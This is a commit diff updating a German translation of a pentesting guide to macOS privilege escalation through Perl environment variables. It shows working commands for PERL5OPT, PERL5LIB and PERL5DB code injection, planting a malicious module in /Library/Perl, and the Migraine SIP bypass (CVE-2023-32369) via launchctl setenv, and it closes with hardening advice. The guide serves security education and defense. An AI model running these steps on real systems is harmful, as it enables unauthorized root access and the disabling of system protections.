Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:15:25 +00:00
parent 70c1859096
commit 98b5310383

View File

@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Über die Umgebungsvariablen `PERL5OPT` & `PERL5LIB`
## Über die Umgebungsvariable `PERL5OPT` & `PERL5LIB`
Mit der Umgebungsvariable PERL5OPT ist es möglich, perl beliebige Befehle ausführen zu lassen.\
Mit der Umgebungsvariable **`PERL5OPT`** ist es möglich, dass **Perl** willkürliche Befehle ausführt, wenn der Interpreter startet (sogar **bevor** die erste Zeile des Zielskripts geparst wird).
Zum Beispiel, erstellen Sie dieses Skript:
```perl:test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
Jetzt **exportiere die Umgebungsvariable** und führe das **perl** Skript aus:
Jetzt **exportiere die Umgebungsvariable** und führe das **perl**-Skript aus:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
@ -22,17 +22,30 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
Und dann die Umgebungsvariablen verwenden:
Und dann die Umgebungsvariablen verwenden, damit das Modul automatisch gefunden und geladen wird:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## Über Abhängigkeiten
### Andere interessante Umgebungsvariablen
Es ist möglich, die Reihenfolge des Abhängigkeitsordners von Perl auszuführen:
* **`PERL5DB`** wenn der Interpreter mit dem **`-d`** (Debugger) Flag gestartet wird, wird der Inhalt von `PERL5DB` als Perl-Code *innerhalb* des Debugger-Kontexts ausgeführt. Wenn Sie sowohl die Umgebung **als auch** die Befehlszeilenflags eines privilegierten Perl-Prozesses beeinflussen können, können Sie etwas wie Folgendes tun:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # wird eine Shell öffnen, bevor das Skript ausgeführt wird
```
* **`PERL5SHELL`** unter Windows steuert diese Variable, welches Shell-Executable Perl verwenden wird, wenn es eine Shell starten muss. Sie wird hier nur der Vollständigkeit halber erwähnt, da sie unter macOS nicht relevant ist.
Obwohl `PERL5DB` den `-d` Schalter erfordert, ist es üblich, Wartungs- oder Installationsskripte zu finden, die als *root* mit diesem Flag aktiviert für ausführliche Fehlersuche ausgeführt werden, wodurch die Variable ein gültiger Eskalationsvektor wird.
## Über Abhängigkeiten (@INC-Missbrauch)
Es ist möglich, den Include-Pfad aufzulisten, den Perl durchsuchen wird (**`@INC`**), indem Sie Folgendes ausführen:
```bash
perl -e 'print join("\n", @INC)'
```
Was etwas zurückgeben wird wie:
Typische Ausgaben auf macOS 13/14 sehen folgendermaßen aus:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +57,44 @@ Was etwas zurückgeben wird wie:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch **existiert** **`/Library/Perl/5.30`**, es ist **nicht** **geschützt** durch **SIP** und es ist **vor** den Ordnern **geschützt durch SIP**. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten dort hinzuzufügen, sodass ein hochprivilegiertes Perl-Skript es lädt.
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, ist *nicht* durch SIP geschützt und befindet sich *vor* den SIP-geschützten Ordnern. Daher, wenn Sie als *root* schreiben können, können Sie ein bösartiges Modul (z.B. `File/Basename.pm`) ablegen, das *bevorzugt* von jedem privilegierten Skript, das dieses Modul importiert, geladen wird.
> [!WARNING]
> Beachten Sie jedoch, dass Sie **root sein müssen, um in diesen Ordner zu schreiben** und heutzutage erhalten Sie diese **TCC-Eingabeaufforderung**:
> Sie benötigen weiterhin **root**, um in `/Library/Perl` zu schreiben, und macOS zeigt ein **TCC**-Prompt an, das nach *Vollzugriff auf das Laufwerk* für den Prozess fragt, der die Schreiboperation durchführt.
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
Wenn beispielsweise ein Skript **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, das vom Angreifer kontrollierten Code enthält.
Wenn ein Skript beispielsweise **`use File::Basename;`** importiert, wäre es möglich, **`/Library/Perl/5.30/File/Basename.pm`** zu erstellen, um beliebigen Code auszuführen.
## SIP-Umgehung über den Migrationsassistenten (CVE-2023-32369 “Migraine”)
## References
Im Mai 2023 gab Microsoft **CVE-2023-32369** bekannt, mit dem Spitznamen **Migraine**, eine Post-Exploitation-Technik, die es einem *root*-Angreifer ermöglicht, den **System Integrity Protection (SIP)** vollständig zu **umgehen**.
Die verwundbare Komponente ist **`systemmigrationd`**, ein Daemon mit der Berechtigung **`com.apple.rootless.install.heritable`**. Jeder von diesem Daemon erzeugte Kindprozess erbt die Berechtigung und läuft daher **außerhalb** der SIP-Beschränkungen.
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
Unter den von den Forschern identifizierten Kindern befindet sich der von Apple signierte Interpreter:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Weil Perl `PERL5OPT` (und Bash `BASH_ENV`) respektiert, reicht es aus, die *Umgebung* des Daemons zu vergiften, um willkürliche Ausführung in einem SIP-losen Kontext zu erlangen:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Wenn `migrateLocalKDC` ausgeführt wird, startet `/usr/bin/perl` mit dem bösartigen `PERL5OPT` und führt `/private/tmp/migraine.sh` *aus, bevor SIP wieder aktiviert wird*. Von diesem Skript aus können Sie beispielsweise einen Payload in **`/System/Library/LaunchDaemons`** kopieren oder das erweiterte Attribut `com.apple.rootless` zuweisen, um eine Datei **unlöschbar** zu machen.
Apple hat das Problem in macOS **Ventura 13.4**, **Monterey 12.6.6** und **Big Sur 11.7.7** behoben, aber ältere oder nicht gepatchte Systeme bleiben ausnutzbar.
## Empfehlungen zur Härtung
1. **Gefährliche Variablen löschen** privilegierte launchdaemons oder Cron-Jobs sollten mit einer sauberen Umgebung gestartet werden (`launchctl unsetenv PERL5OPT`, `env -i` usw.).
2. **Vermeiden Sie es, Interpreter als root auszuführen**, es sei denn, es ist unbedingt erforderlich. Verwenden Sie kompilierte Binärdateien oder entziehen Sie frühzeitig die Berechtigungen.
3. **Vendor-Skripte mit `-T` (Taint-Modus)**, damit Perl `PERL5OPT` und andere unsichere Schalter ignoriert, wenn die Taint-Prüfung aktiviert ist.
4. **Halten Sie macOS auf dem neuesten Stand** “Migraine” ist in den aktuellen Versionen vollständig gepatcht.
## Referenzen
- Microsoft Security Blog “Neue macOS-Sicherheitsanfälligkeit, Migraine, könnte den Systemintegritätsschutz umgehen” (CVE-2023-32369), 30. Mai 2023.
- Hackyboiz “macOS SIP Bypass (PERL5OPT & BASH_ENV) Forschung”, Mai 2025.
{{#include ../../../banners/hacktricks-training.md}}